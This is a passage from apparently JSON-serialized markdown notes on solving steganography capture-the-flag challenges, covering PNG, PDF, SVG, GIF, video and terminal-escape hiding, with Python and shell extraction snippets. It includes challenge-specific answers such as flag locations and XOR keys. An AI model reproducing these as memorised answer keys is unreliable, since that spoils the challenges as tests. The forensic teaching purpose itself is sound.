(reversed) → left (reversed)\nfor x in range(w): bits.append(0 if sum(img.getpixel((x, 0))[:3]) \u003c 384 else 1)\nfor y in range(1, h): bits.append(0 if sum(img.getpixel((w-1, y))[:3]) \u003c 384 else 1)\nfor x in range(w-2, -1, -1): bits.append(0 if sum(img.getpixel((x, h-1))[:3]) \u003c 384 else 1)\nfor y in range(h-2, 0, -1): bits.append(0 if sum(img.getpixel((0, y))[:3]) \u003c 384 else 1)\n\n# Convert bits to ASCII\nmsg = ''.join(chr(int(''.join(map(str, bits[i:i+8])), 2)) for i in range(0, len(bits)-7, 8))\n```\n\n---\n\n## Multi-Layer PDF Steganography (Pragyan 2026)\n\n**Pattern (epstein files):** Flag hidden across multiple layers in a PDF.\n\n**Layer checklist:**\n1. `strings file.pdf | grep -i hidden` -- hidden comments in PDF objects\n2. Extract hex strings, try XOR with theme-related keywords\n3. Check bytes **after `%%EOF`** marker -- may contain GPG/encrypted data\n4. Try ROT18 (ROT13 on letters + ROT5 on digits) as final decode layer\n\n```bash\n# Extract post-EOF data\npython3 -c \"\ndata = open('file.pdf','rb').read()\neof = data.rfind(b'%%EOF')\nprint(data[eof+5:].hex())\n\"\n```\n\n---\n\n## Advanced PDF Steganography (Nullcon 2026 rdctd series)\n\nSix distinct hiding techniques in a single PDF:\n\n**1. Invisible text separators:** Underscores rendered as invisible line segments. Extract with `pdftotext -layout` and normalize whitespace to underscores.\n\n**2. URI annotations with escaped braces:** Link annotations contain flag in URI with `\\{` and `\\}` escapes:\n```python\nimport pikepdf\npdf = pikepdf.Pdf.open(pdf_path)\nfor page in pdf.pages:\n for annot in (page.get(\"/Annots\") or []):\n obj = annot.get_object()\n if obj.get(\"/Subtype\") == pikepdf.Name(\"/Link\"):\n uri = str(obj.get(\"/A\").get(\"/URI\")).replace(r\"\\{\", \"{\").replace(r\"\\}\", \"}\")\n # Check for flag pattern\n```\n\n**3. Blurred/redacted image with Wiener deconvolution:**\n```python\nfrom skimage.restoration import wiener\nimport numpy as np\n\ndef gaussian_psf(sigma):\n k = int(sigma * 6 + 1) | 1\n ax = np.arange(-(k//2), k//2 + 1, dtype=np.float32)\n xx, yy = np.meshgrid(ax, ax)\n psf = np.exp(-(xx**2 + yy**2) / (2 * sigma * sigma))\n return psf / psf.sum()\n\nimg_arr = np.asarray(img.convert(\"L\")).astype(np.float32) / 255.0\ndeconv = wiener(img_arr, gaussian_psf(3.0), balance=0.003, clip=False)\n```\n\n**4. Vector rectangle QR code:** Hundreds of tiny filled rectangles (e.g., 1.718x1.718 units) forming a QR code. Parse PDF content stream for `re` operators, extract centers, render as grid, decode with `zbarimg`.\n\n**5. Compressed object streams:** Use `mutool clean -d -c -m input.pdf output.pdf` to decompress all streams, then `strings` to search.\n\n**6. Document metadata:** Check Producer, Author, Keywords fields: `pdfinfo doc.pdf` or `exiftool doc.pdf`.\n\n**Official writeup details (Nullcon 2026 rdctd 1-6):**\n- **rdctd 1:** Flag is visible in plain text (Section 3.4)\n- **rdctd 2:** Flag in hyperlink URI with escaped braces (`\\{`, `\\}`)\n- **rdctd 3:** LSB stego in Blue channel, **bit plane 5** (not bit 0!). Use `zsteg` with all planes: `zsteg -a extracted.ppm | grep ENO`\n- **rdctd 4:** QR code hidden under black redaction box. Use Master PDF Editor to remove the box, scan QR\n- **rdctd 5:** Flag in FlateDecode compressed stream (not visible with `strings`):\n ```python\n import re, zlib\n pdf = open('file.pdf', 'rb').read()\n for s in re.findall(b'stream[\\r\\n]+(.*?)[\\r\\n]+endstream', pdf, re.S):\n try:\n dec = zlib.decompress(s)\n if b'ENO{' in dec: print(dec)\n except: pass\n ```\n- **rdctd 6:** Flag in `/Producer` metadata field\n\n**Comprehensive PDF flag hunt checklist:**\n1. `strings -a file.pdf | grep -o 'FLAG_FORMAT{[^}]*}'`\n2. `exiftool file.pdf` (all metadata fields)\n3. `pdfimages -all file.pdf img` + `zsteg -a img-*.ppm`\n4. Open in PDF editor, check for overlay/redaction boxes hiding content\n5. Decompress FlateDecode streams and search\n6. Parse link annotations for URIs with escaped characters\n7. `mutool clean -d file.pdf clean.pdf && strings clean.pdf`\n\n---\n\n## SVG Animation Keyframe Steganography (UTCTF 2024)\n\n**Pattern (Insanity Check):** SVG favicon contains animation keyframes with alternating fill colors.\n\n**Encoding:** `#FFFF` = 1, `#FFF6` = 0. Timing intervals (~0.314s or 3x0.314s) encode Morse code dots/dashes.\n\n**Detection:** SVG files with `\u003canimate>` tags, `keyTimes`/`values` attributes. Check favicon.svg and other vector assets. Two-value alternation patterns encode binary or Morse.\n\n---\n\n## APNG (Animated PNG) Frame Extraction (IceCTF 2016)\n\nAPNG files contain multiple frames within a standard PNG container. Tools like `tweakpng` or `apngdis` extract individual frames that may contain hidden data.\n\n```bash\n# Check if PNG is actually APNG (contains acTL chunk)\npython3 -c \"\nimport struct\nwith open('image.png', 'rb') as f:\n data = f.read()\n if b'acTL' in data:\n print('APNG detected!')\n idx = data.index(b'acTL')\n num_frames = struct.unpack('>I', data[idx+4:idx+8])[0]\n print(f'Number of frames: {num_frames}')\n\"\n\n# Extract frames using apngdis\napngdis image.apng # produces frame_01.png, frame_02.png, ...\n\n# Alternative: use PHP or Python libraries\n# pip install apng\npython3 -c \"\nfrom apng import APNG\nim = APNG.open('image.apng')\nfor i, (png, control) in enumerate(im.frames):\n png.save(f'frame_{i:02d}.png')\n\"\n```\n\n**Key insight:** Regular PNG viewers display only the first frame of an APNG. Hidden data can be in any subsequent frame. The `acTL` chunk signals APNG format; `fcTL`/`fdAT` chunks contain additional frame data.\n\n---\n\n## PNG Height/CRC Manipulation for Hidden Content (H4ckIT CTF 2016)\n\nPNG images with incorrect IHDR dimensions hide content below the visible area. Brute-force the correct height by matching the IHDR CRC.\n\n```python\nimport struct, zlib\n\ndef fix_png_height(filename):\n with open(filename, 'rb') as f:\n data = bytearray(f.read())\n\n # IHDR chunk starts at offset 8 (after 8-byte PNG signature)\n # IHDR layout: width(4) height(4) bitdepth(1) colortype(1) ...\n ihdr_start = 8 + 4 # skip signature + chunk length\n ihdr_data = data[ihdr_start:ihdr_start + 17] # \"IHDR\" + 13 bytes\n stored_crc = struct.unpack('>I', data[ihdr_start + 17:ihdr_start + 21])[0]\n\n width = struct.unpack('>I', ihdr_data[4:8])[0]\n\n # Brute-force correct height\n for h in range(1, 4096):\n test_ihdr = ihdr_data[:8] + struct.pack('>I', h) + ihdr_data[12:]\n if zlib.crc32(test_ihdr) & 0xffffffff == stored_crc:\n print(f\"Correct height: {h} (was: {struct.unpack('>I', ihdr_data[8:12])[0]})\")\n data[ihdr_start + 8:ihdr_start + 12] = struct.pack('>I', h)\n with open('fixed_' + filename, 'wb') as f:\n f.write(data)\n return h\n\n # If no CRC match, the CRC itself may need fixing after setting height\n # Manual approach: set height larger, fix CRC\n return None\n```\n\n**Key insight:** PNG stores image dimensions in the IHDR chunk with a CRC. If the height is reduced, data below the visible area is hidden but still present in IDAT chunks. Brute-forcing the height against the stored CRC reveals the correct dimensions. If the CRC was also modified, try increasing the height and recalculating the CRC.\n\n---\n\n## PNG Chunk Reordering (0xFun 2026)\n\n**Pattern (Spectrum):** Invalid PNG has chunks out of order.\n\n**Fix:** Reorder to: `signature + IHDR + (ancillary chunks) + (all IDAT in order) + IEND`.\n\n```python\nimport struct\n\nwith open('broken.png', 'rb') as f:\n data = f.read()\n\nsig = data[:8]\nchunks = []\npos = 8\nwhile pos \u003c len(data):\n length = struct.unpack('>I', data[pos:pos+4])[0]\n chunk_type = data[pos+4:pos+8]\n chunk_data = data[pos+8:pos+8+length]\n crc = data[pos+8+length:pos+12+length]\n chunks.append((chunk_type, length, chunk_data, crc))\n pos += 12 + length\n\n# Sort: IHDR first, IEND last, IDATs in original order\nihdr = [c for c in chunks if c[0] == b'IHDR']\nidat = [c for c in chunks if c[0] == b'IDAT']\niend = [c for c in chunks if c[0] == b'IEND']\nother = [c for c in chunks if c[0] not in (b'IHDR', b'IDAT', b'IEND')]\n\nwith open('fixed.png', 'wb') as f:\n f.write(sig)\n for typ, length, data, crc in ihdr + other + idat + iend:\n f.write(struct.pack('>I', length) + typ + data + crc)\n```\n\n---\n\n## File Format Overlays (0xFun 2026)\n\n**Pattern (Pixel Rehab):** Archive appended after PNG IEND, but magic bytes overwritten with PNG signature.\n\n**Detection:** Check bytes after IEND for appended data. Compare magic bytes against known formats.\n\n```python\n# Find IEND, check what follows\ndata = open('image.png', 'rb').read()\niend_pos = data.find(b'IEND') + 8 # After IEND + CRC\ntrailer = data[iend_pos:]\n# Replace first 6 bytes with 7z magic if they match PNG sig\nif trailer[:4] == b'\\x89PNG':\n trailer = b'\\x37\\x7a\\xbc\\xaf\\x27\\x1c' + trailer[6:]\n open('hidden.7z', 'wb').write(trailer)\n```\n\n---\n\n## Nested PNG with Iterating XOR Keys (VuwCTF 2025)\n\n**Pattern (Matroiska):** Each PNG layer XOR-encrypted with incrementing keys (\"layer2\", \"layer3\", etc.).\n\n**Identification:** Matryoshka/nested hints. Try incrementing key patterns for recursive extraction.\n\n---\n\n## GIF Frame Differential + Morse Code (BaltCTF 2013)\n\n**Pattern:** Animated GIF contains hidden dots visible only when comparing frames against originals. Dots encode Morse code.\n\n```bash\n# Extract frames from animated GIF\nconvert animated.gif frame_%03d.gif\n\n# Compare each frame against its base using ImageMagick\nfor i in $(seq 1 100); do\n compare -fuzz 10% -compose src stego_$i.gif original_$i.gif diff_$i.gif\ndone\n\n# Inspect diff images — dots appear at specific positions\n# Map dot patterns to Morse: small dot = dit, large dot = dah\n```\n\n**Key insight:** `compare -fuzz 10%` reveals subtle single-pixel modifications invisible to the eye. The diff images show isolated dots whose timing/spacing encodes Morse code. Decode dots → dashes/dots → letters → flag.\n\n---\n\n## GZSteg + Spammimic Text Steganography (VolgaCTF 2013)\n\n**Pattern:** Data hidden within gzip compression metadata, decoded through spammimic.com.\n\n1. Apply GZSteg patches to gzip 1.2.4 source, compile, extract with `gzip --s` flag\n2. Extracted text resembles spam email — submit to [spammimic.com](https://www.spammimic.com/) decoder\n3. Decoded output is the flag\n\n**Key insight:** GZSteg exploits redundancy in the gzip DEFLATE compression format to embed covert data. The extracted payload often uses a second steganographic layer (spammimic encodes data as innocuous-looking spam text). Look for `.gz` files larger than expected for their content.\n\n---\n\n## Spreadsheet Frequency Analysis Binary Recovery (Sharif CTF 2016)\n\nWhen spreadsheet cells contain numbers with varying frequencies, the frequency rank may encode binary data:\n\n1. **Count occurrences** of each unique value\n2. **Sort by frequency** to create a mapping: value -> frequency rank (0-255)\n3. **Replace each cell** with its frequency rank to recover raw bytes\n\n```python\nfrom collections import Counter\n\n# Count frequency of each value\nfreq = Counter(all_cell_values)\n\n# Create mapping: value -> index in frequency-sorted list\nsorted_vals = sorted(freq.keys(), key=lambda x: freq[x])\nmapping = {v: i for i, v in enumerate(sorted_vals)}\n\n# Apply mapping to recover binary\nbinary = bytes(mapping[v] for v in all_cell_values)\n# Result is typically an ELF binary or image\n```\n\n**Key insight:** 256 unique values suggest byte-level encoding. The frequency distribution of the mapped output should resemble typical binary file statistics.\n\n---\n\n## Kitty Terminal Graphics Protocol Decoding (BSidesSF 2026)\n\n**Pattern (kitty):** A file contains Kitty terminal graphics protocol escape sequences (`ESC_G`) that embed zlib-compressed RGB image data in base64-encoded chunks.\n\n**Protocol format:**\n```text\n\\x1b_Ga=T,q=2,f=24,o=z,m=1,s=WIDTH,v=HEIGHT;BASE64DATA\\x1b\\\\\n```\n\n**Header fields:**\n- `a=T` — action: transmit\n- `q=2` — quiet mode (suppress responses)\n- `f=24` — format: 24-bit RGB\n- `o=z` — compression: zlib\n- `m=1` — more chunks follow; `m=0` — final chunk\n- `s=WIDTH,v=HEIGHT` — image dimensions (present in first chunk only)\n\n**Decoding workflow:**\n```python\nimport re\nimport base64\nimport zlib\nfrom PIL import Image\n\n# Read the raw file\ndata = open('kitty_output.bin', 'rb').read()\n\n# Extract all base64 payloads from escape sequences\n# Pattern: \\x1b_G...;BASE64\\x1b\\\\\nchunks = re.findall(rb'\\x1b_G([^;]*);([^\\x1b]*)\\x1b\\\\\\\\', data)\n\n# Parse dimensions from first chunk's header\nfirst_header = chunks[0][0].decode()\nwidth = int(re.search(r's=(\\d+)', first_header).group(1))\nheight = int(re.search(r'v=(\\d+)', first_header).group(1))\n\n# Concatenate all base64 payloads\nb64_data = b''.join(chunk[1] for chunk in chunks)\ncompressed = base64.b64decode(b64_data)\nraw_rgb = zlib.decompress(compressed)\n\n# Reconstruct image\nimg = Image.frombytes('RGB', (width, height), raw_rgb)\nimg.save('recovered.png')\n```\n\n**Key insight:** Kitty graphics protocol is a modern terminal image display mechanism. The data is invisible when viewed in non-Kitty terminals but can be decoded from the raw escape sequences. Multi-chunk messages (`m=1` followed by continuation chunks) must be concatenated before base64 decoding.\n\n**Detection:** Binary file containing `\\x1b_G` sequences. `strings` output shows base64-like data interspersed with escape codes. Challenge mentions \"kitty\", \"terminal graphics\", or \"meow\".\n\n**References:** BSidesSF 2026 \"kitty\"\n\n---\n\n## ANSI Escape Sequence Steganography in Terminal Art (BSidesSF 2026)\n\n**Pattern (roar):** Flag text is interleaved between ANSI color escape codes and Unicode braille characters in terminal art. When rendered in a terminal, the art displays normally while the flag characters are invisible (zero-width or same-color-as-background). However, the flag is extractable by stripping all escape sequences and non-ASCII characters.\n\n**Extraction:**\n```python\nimport re\n\ndata = open('art.txt', 'rb').read().decode('utf-8', errors='replace')\n\n# Strip ANSI escape sequences\nclean = re.sub(r'\\x1b\\[[0-9;]*[a-zA-Z]', '', data)\n\n# Extract only printable ASCII (flag characters)\nflag_chars = [c for c in clean if 32 \u003c= ord(c) \u003c= 126 and c not in ' \\t\\n']\n\n# Or: filter out braille unicode block (U+2800-U+28FF) and other non-ASCII\nflag_chars = [c for c in clean if ord(c) \u003c 128 and c.isprintable() and c != ' ']\n\nprint(''.join(flag_chars))\n```\n\n**Alternative approach — diff against rendered output:**\n```bash\n# Render with ANSI codes, capture visible text\ncat art.txt | col -b > rendered.txt\n# Compare raw vs rendered to find hidden characters\n```\n\n**Key insight:** ANSI escape sequences control terminal colors, cursor position, and text attributes. Flag characters inserted between escape codes are technically present in the file but invisible when rendered because they're either: (a) the same color as the background, (b) followed by a cursor-move-back sequence, or (c) overwritten by subsequent characters. Raw byte extraction bypasses all rendering tricks.\n\n**Detection:** File with many `\\x1b[` sequences (ANSI codes), Unicode braille characters (U+2800-U+28FF), and unexpectedly large file size for the visible content. Challenge mentions \"terminal\", \"art\", \"ANSI\", or shows ASCII/Unicode art.\n\n**References:** BSidesSF 2026 \"roar\"\n\n---\n\n### Autostereogram / Magic Eye Solving (BSidesSF 2026)\n\n**Pattern (stereotype):** Challenge image is an autostereogram (Magic Eye). The hidden 3D content (flag text) is revealed by viewing with crossed/divergent eyes or programmatically via layer difference.\n\n**Programmatic solve (GIMP or Python):**\n1. Duplicate the image as a second layer\n2. Set the top layer's blending mode to \"Difference\"\n3. Slide the top layer horizontally by the repeat width (~100 pixels)\n4. The hidden depth pattern appears as bright lines on a dark background\n\n```python\nfrom PIL import Image\nimport numpy as np\n\nimg = np.array(Image.open('stereogram.png'))\nshift = 100 # Repeat width — try values 80-120\ndiff = np.abs(img[:, shift:].astype(int) - img[:, :-shift].astype(int))\nImage.fromarray(diff.astype(np.uint8)).save('revealed.png')\n```\n\n**Finding the shift value:** The repeat width is the horizontal distance between identical vertical strips. Autocorrelate a single row: `np.correlate(row, row, mode='full')` — the first peak after center is the shift.\n\n**Key insight:** Autostereograms encode depth via horizontal pixel displacement relative to a repeating pattern. Subtracting the image from a shifted copy of itself cancels the repeating background and reveals the depth variation as the flag text.\n\n**When to recognize:** Image has a repeating texture/pattern, challenge mentions \"eyes\", \"seeing\", \"3D\", \"magic\", or \"stereogram\".\n\n**References:** BSidesSF 2026 \"stereotype\"\n\n---\n\n### Two-Layer Byte+Line Interleaving (BSidesSF 2026)\n\n**Pattern (seeing-double):** Two PNG files are interleaved at the byte level into a single file. After byte-level deinterlacing, the resulting images have their scanlines interleaved, requiring a second round of line-level deinterlacing.\n\n**Step 1 — Byte deinterleave:**\n```python\ndata = open('interleaved.ppnngg', 'rb').read()\nfile_a = bytes(data[i] for i in range(0, len(data), 2)) # Even bytes\nfile_b = bytes(data[i] for i in range(1, len(data), 2)) # Odd bytes\n# file_a and file_b are valid PNGs\n```\n\n**Step 2 — Line deinterleave (if needed):**\n```python\nfrom PIL import Image\nimport numpy as np\n\nimg = np.array(Image.open('file_a.png'))\n# Even lines form one sub-image, odd lines form another\nsub1 = img[0::2] # Lines 0, 2, 4, ...\nsub2 = img[1::2] # Lines 1, 3, 5, ...\nImage.fromarray(sub1).save('final_a.png')\nImage.fromarray(sub2).save('final_b.png')\n```\n\n**Key insight:** The two-layer interleaving (first bytes, then scanlines) means simple deinterleaving at one level produces garbled results. Recognize multi-layer interleaving by: (1) deinterleaved file is a valid image but content looks \"striped\" or has alternating line artifacts, (2) file extension hints (`.ppnngg` = two PNGs interleaved).\n\n**Detection:** File has double-extension or unusual extension. `file` command may identify it as data or as one format. Even/odd byte extraction produces valid file headers (e.g., both halves start with PNG magic `89 50 4E 47`).\n\n**References:** BSidesSF 2026 \"seeing-double\"\n\n---\n\n### Multi-Stream Video Container Steganography (BSidesSF 2026)\n\n**Pattern (ads):** An MP4 video container holds multiple video streams. The default (stream 0:0) plays normally, but a second stream (0:1) contains the flag. Most video players only show the first/default stream. The secondary stream uses AV1 codec which has poor support in many tools, adding friction.\n\n```bash\n# Detect multiple streams\nffprobe -hide_banner flag.mp4\n# Look for Stream #0:1 — a second video stream\n\n# Extract second stream to its own file\nffmpeg -i flag.mp4 -map 0:1 -c copy second_stream.mp4\n\n# Or extract just the first frame from stream 1\nffmpeg -i flag.mp4 -map 0:1 -frames:v 1 flag.jpg\n```\n\n**Key insight:** MP4/MKV containers can hold multiple video, audio, and subtitle tracks. Most players default to stream 0:0. Always run `ffprobe` or `mediainfo` to enumerate ALL streams. The `-map 0:N` flag in ffmpeg selects specific streams. VLC can also switch tracks via Video → Video Track menu.\n\n**When to recognize:** Challenge provides a video file where the visible content seems irrelevant or is a red herring. `ffprobe` shows multiple `Stream` entries. Check metadata fields like `handler_name` for hints (e.g., \"CTF Trickery\").\n\n**Detection checklist:**\n1. `ffprobe -hide_banner file.mp4` — count Stream lines\n2. `mediainfo file.mp4` — check track count\n3. VLC → Video → Video Track → try all tracks\n\n**References:** BSidesSF 2026 \"ads\"\n\n---\n\n## Progressive PNG Layered XOR Decryption (OpenCTF 2016)\n\n**Pattern (Progressive Encryption):** PNG contains standard `IDAT` chunk (coarse first scan) plus custom `scRT` chunks. Each `scRT` chunk is XOR-encrypted with a multi-byte key. Decrypting reveals another `IDAT` chunk plus another `scRT`, forming nested layers.\n\n1. Extract the custom `scRT` chunk data from the PNG\n2. Use xortool to guess the XOR key (expected most frequent byte: `\\xFF` for image data):\n```bash\n# Extract scRT chunk contents\npython3 -c \"\nimport struct\nwith open('image.png', 'rb') as f:\n data = f.read()\n# Parse PNG chunks, find scRT\npos = 8 # skip PNG signature\nwhile pos \u003c len(data):\n length = struct.unpack('>I', data[pos:pos+4])[0]\n chunk_type = data[pos+4:pos+8]\n if chunk_type == b'scRT':\n with open('layer.bin', 'wb') as out:\n out.write(data[pos+8:pos+8+length])\n pos += 12 + length\n\"\n\n# Guess XOR key\nxortool -c ff layer.bin\n# Output: key = 'nacho'\n```\n\n3. Decrypt and split: the decrypted data contains a valid `IDAT` chunk followed by another `scRT`\n4. Repeat for each layer until all `scRT` chunks are decrypted\n5. Reassemble: concatenate PNG header + all decrypted `IDAT` chunks + `IEND`\n\n**Layer keys in this challenge:** `nacho`, `savages`, `president`, `kilobits`, `monkey`, `butler`\n\n**Shortcut:** Open the raw PNG bytes as a raw image in GraphBitStreamer (32 bpp, width matching original). Weak XOR encryption preserves visual patterns (like ECB-encrypted images), making the flag readable without full decryption.\n\n**Key insight:** Custom PNG chunks (non-standard 4-letter types) often contain hidden data. The PNG spec allows arbitrary ancillary chunks — parsers ignore unknown types. When multiple layers use different XOR keys, each must be cracked independently using frequency analysis. The shortcut works because XOR with a short repeating key preserves large-scale pixel patterns, similar to ECB mode's visual leakage.\n\n---\n\n### QR Code Reconstruction from Curved Glass Reflection in Video (PlaidCTF 2018)\n\n**Pattern:** QR code visible only as a curved reflection on a glass sphere in surveillance footage (~100px wide). Manual reconstruction required flipping, de-warping, identifying as Version 2 (25x25), decoding format string for ECC level, and pixel-by-pixel reconstruction using known flag prefix to fix initial data bytes.\n\n**Steps:**\n1. Extract best frame from video, crop the reflection\n2. Flip horizontally (mirror reflection) and apply de-warping\n3. Identify QR version (25x25 = Version 2) and decode format bits for ECC level and mask pattern\n4. Begin manual pixel transcription of the 25x25 grid\n5. When initial decode fails, use known plaintext (flag prefix \"PCTF{\") to fix first data bytes\n6. High ECC level (Q = 25% recovery) corrects remaining pixel errors\n\n```python\nfrom PIL import Image\nimport numpy as np\n\n# Step 1: Extract and flip the reflection\nframe = Image.open('best_frame.png')\nreflection = frame.crop((x1, y1, x2, y2))\nflipped = reflection.transpose(Image.FLIP_LEFT_RIGHT)\n\n# Step 2: Scale up for manual transcription\nscaled = flipped.resize((500, 500), Image.NEAREST)\nscaled.save('reflection_scaled.png')\n\n# Step 3: Manual 25x25 grid transcription (Version 2 QR)\n# After manual pixel identification, create the QR matrix\nqr_matrix = np.zeros((25, 25), dtype=np.uint8)\n# Fill in identified modules from visual inspection...\n# qr_matrix[row][col] = 1 # dark module\n# qr_matrix[row][col] = 0 # light module\n\n# Step 4: Render as clean QR image for scanning\ncell_size = 20\nqr_img = Image.new('L', (25 * cell_size, 25 * cell_size), 255)\nfor r in range(25):\n for c in range(25):\n if qr_matrix[r][c]:\n for dy in range(cell_size):\n for dx in range(cell_size):\n qr_img.putpixel((c * cell_size + dx, r * cell_size + dy), 0)\nqr_img.save('reconstructed_qr.png')\n\n# Step 5: Scan with zbarimg or use known prefix to fix errors\n# zbarimg reconstructed_qr.png\n```\n\n**Key insight:** QR codes with high ECC levels (Q or H) can tolerate significant reconstruction errors. When a QR code is partially visible (reflection, damage, low resolution), manually reconstruct what you can, use known plaintext to fix early data modules, and let ECC correct the rest.\n\n---\n\n### GIF Palette Manipulation for QR Code Reconstruction (3DSCTF 2017)\n\nGIF with 108,900 single-pixel frames. Each frame has identical pixel data but different palette entries. Map palette color to black/white to reconstruct a 330x330 QR code:\n\n```python\nfrom PIL import Image\ngif = Image.open('challenge.gif')\nwidth = int(gif.n_frames ** 0.5) # sqrt(108900) = 330\npixels = []\nfor i in range(gif.n_frames):\n gif.seek(i)\n palette = gif.getpalette()\n # First palette entry: yellow=(255,255,0) or green=(0,255,0)\n pixels.append(0 if palette[0] > 128 else 255) # black or white\n\nout = Image.new('L', (width, width))\nout.putdata(pixels)\nout.save('qr.png')\n# zbarimg qr.png\n```\n\n**Key insight:** GIF frames with identical pixel data but different color palettes encode binary data through palette manipulation. The number of frames is a perfect square, giving the side length of the hidden image. Each frame represents one pixel; the palette's first entry determines its color. When a GIF has an unusually large number of frames whose count is a perfect square, check for palette-based encoding.\n\n---\n\n### Angecryption: AES-CBC Encrypting One Valid File into Another (34C3 CTF 2017)\n\nBased on Ange Albertini's technique: a crafted AES-CBC key and IV can encrypt one valid image file into another valid image file:\n\n```python\nfrom Crypto.Cipher import AES\nkey = bytes.fromhex('...') # provided or recovered\niv = bytes.fromhex('...')\naes = AES.new(key, AES.MODE_CBC, iv)\nencrypted = aes.encrypt(open('flag.png', 'rb').read())\n# encrypted is ALSO a valid PNG (a mask image)\n# Overlay the mask on the original to reveal hidden content\n```\n\n**Key insight:** Angecryption exploits the fact that file format headers have enough degrees of freedom to survive AES-CBC encryption with chosen key/IV. The technique crafts the IV so that decrypting the \"mask\" file header produces a valid \"flag\" file header. When you find two valid image files and an AES key/IV in a challenge, try encrypting one — the result may be the other, and visual comparison reveals the flag.\n\n---\n\n### SVG Micro-Coordinate Steganography (SharifCTF 8)\n\nSVG contains a visible graphic plus a second `\u003cg>` element with extremely small coordinate values (e.g., 450.xxxxx, 835.xxxxx). Apply SVG transform to zoom in:\n\n```xml\n\u003csvg viewBox=\"448.75 834.69 2 2\" width=\"2000\" height=\"2000\">\n \u003c!-- or apply transform: -->\n \u003cg transform=\"scale(200, 200) translate(-448.75, -834.69)\">\n \u003c!-- hidden content becomes visible -->\n \u003c/g>\n\u003c/svg>\n```\n\n**Key insight:** SVG coordinates with many decimal places hide micro-scale drawings invisible at normal zoom. Check for `\u003cg>` elements with coordinate values that cluster in a tiny range. The fractional parts of the coordinates define the hidden image. Scale up by 100-1000x and translate to the cluster center to reveal. When SVG file size is unexpectedly large for the visible content, inspect coordinate precision in `\u003cpath>`, `\u003cline>`, or `\u003cg>` elements.\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":30660,"content_sha256":"2774d7a8e9333b8e52c02eb5d47e027d54a6db54107543f011c55cea20354114"},{"filename":"stego-advanced-2.md","content":"# CTF Forensics - Advanced Steganography (Part 2)\n\nSee also: [stego-advanced.md](stego-advanced.md) for audio steganography (FFT frequency domain, DTMF, SSTV, LSB audio, musical notes, metadata encoding, waveform binary, spectrogram QR) and whitespace/archive encoding.\n\n## Table of Contents\n- [Video Frame Accumulation for Hidden Image (ASIS CTF Finals 2013)](#video-frame-accumulation-for-hidden-image-asis-ctf-finals-2013)\n- [Reversed Audio Hidden Message (ASIS CTF Finals 2013)](#reversed-audio-hidden-message-asis-ctf-finals-2013)\n- [Video Frame Averaging for Hidden Content (SECCON 2015)](#video-frame-averaging-for-hidden-content-seccon-2015)\n- [JPEG XL TOC Permutation Steganography (BSidesSF 2026)](#jpeg-xl-toc-permutation-steganography-bsidessf-2026)\n- [Arnold's Cat Map Image Descrambling (Nuit du Hack 2017)](#arnolds-cat-map-image-descrambling-nuit-du-hack-2017)\n- [High-Resolution SSTV Custom FM Demodulation (PlaidCTF 2017)](#high-resolution-sstv-custom-fm-demodulation-plaidctf-2017)\n- [MJPEG Extra Bytes After FFD9 Steganography (PoliCTF 2017)](#mjpeg-extra-bytes-after-ffd9-steganography-polictf-2017)\n- [EXIF Zlib Data with Non-Default LSB Pixel Pattern (ASIS CTF Finals 2017)](#exif-zlib-data-with-non-default-lsb-pixel-pattern-asis-ctf-finals-2017)\n- [PDF Cross-Reference Table Covert Channel (SEC-T CTF 2017)](#pdf-cross-reference-table-covert-channel-sec-t-ctf-2017)\n- [ANSI Escape Code Steganography in Network Capture (Square CTF 2017)](#ansi-escape-code-steganography-in-network-capture-square-ctf-2017)\n- [Pixel-Wise ECB Deduplication for Image Recovery (BackdoorCTF 2017)](#pixel-wise-ecb-deduplication-for-image-recovery-backdoorctf-2017)\n- [Multi-Color QR Code Binary Mapping Brute Force (STEM CTF 2019)](#multi-color-qr-code-binary-mapping-brute-force-stem-ctf-2019)\n\n---\n\n## Video Frame Accumulation for Hidden Image (ASIS CTF Finals 2013)\n\n**Pattern:** Video shows small images (icons, shapes) flashing briefly at different screen positions. Individual frames appear random, but the positions trace out a hidden pattern (QR code, text, image) when all frames are composited together.\n\n**Extraction workflow:**\n\n1. Extract individual frames from the video:\n```bash\nffmpeg -i challenge.mp4 -vsync 0 frames/frame_%04d.png\n```\n\n2. Composite all frames by taking the maximum (or union) of all pixel values:\n```python\nfrom PIL import Image\nimport os\n\nframes_dir = 'frames'\nframe_files = sorted(os.listdir(frames_dir))\n\n# Load first frame as base\nbase = Image.open(os.path.join(frames_dir, frame_files[0])).convert('L')\n\n# Accumulate: take maximum pixel value across all frames\nimport numpy as np\naccumulated = np.array(base, dtype=np.float64)\nfor f in frame_files[1:]:\n frame = np.array(Image.open(os.path.join(frames_dir, f)).convert('L'), dtype=np.float64)\n accumulated = np.maximum(accumulated, frame)\n\nresult = Image.fromarray(accumulated.astype(np.uint8))\nresult.save('accumulated.png')\n```\n\n3. Alternative: convert to GIF and delete the black background frame in GIMP to see all positions overlaid.\n\n4. Clean up the revealed pattern (e.g., QR code) — select foreground, grow/shrink selection, flood fill, scale to expected dimensions (e.g., 21x21 for Version 1 QR):\n```bash\n# Scan for QR code\nzbarimg accumulated.png\n```\n\n**Key insight:** When a video shows objects flashing at seemingly random positions, composite all frames together. The positions themselves encode the hidden data — each frame contributes one pixel/cell to a larger image. Convert to GIF for frame-by-frame inspection in GIMP, or use PIL/NumPy to take per-pixel maximum across all frames.\n\n---\n\n## Reversed Audio Hidden Message (ASIS CTF Finals 2013)\n\n**Pattern:** Audio track (standalone or extracted from video) sounds garbled or unintelligible. Playing it in reverse reveals speech, numbers, or other meaningful content.\n\n**Extraction and reversal:**\n```bash\n# Extract audio from video\nffmpeg -i challenge.mp4 -vn -acodec pcm_s16le audio.wav\n\n# Reverse audio\nsox audio.wav reversed.wav reverse\n# Or: ffmpeg -i audio.wav -af areverse reversed.wav\n\n# Play to hear hidden message\nplay reversed.wav\n```\n\n**Alternative:** Open in Audacity -> Effect -> Reverse. Listen for speech, numbers, or encoded data.\n\n**Key insight:** Reversed audio is one of the simplest audio steganography techniques. If audio sounds like garbled speech with recognizable cadence, try reversing it first. The hidden content is often a numeric string (e.g., an MD5 hash) or instructions for the next step of the challenge. Check both the audio and video tracks of multimedia files independently.\n\n---\n\n## Video Frame Averaging for Hidden Content (SECCON 2015)\n\nExtract content hidden across multiple video frames by temporal averaging:\n\n```python\nimport numpy as np\nfrom PIL import Image\nimport glob\n\nframes = sorted(glob.glob('frames/*.png'))\nN = len(frames)\n\n# Accumulate frames as floating-point to preserve precision\nacc = np.zeros(np.array(Image.open(frames[0])).shape, dtype=np.float64)\nfor f in frames:\n acc += np.array(Image.open(f), dtype=np.float64) / N\n\n# Convert 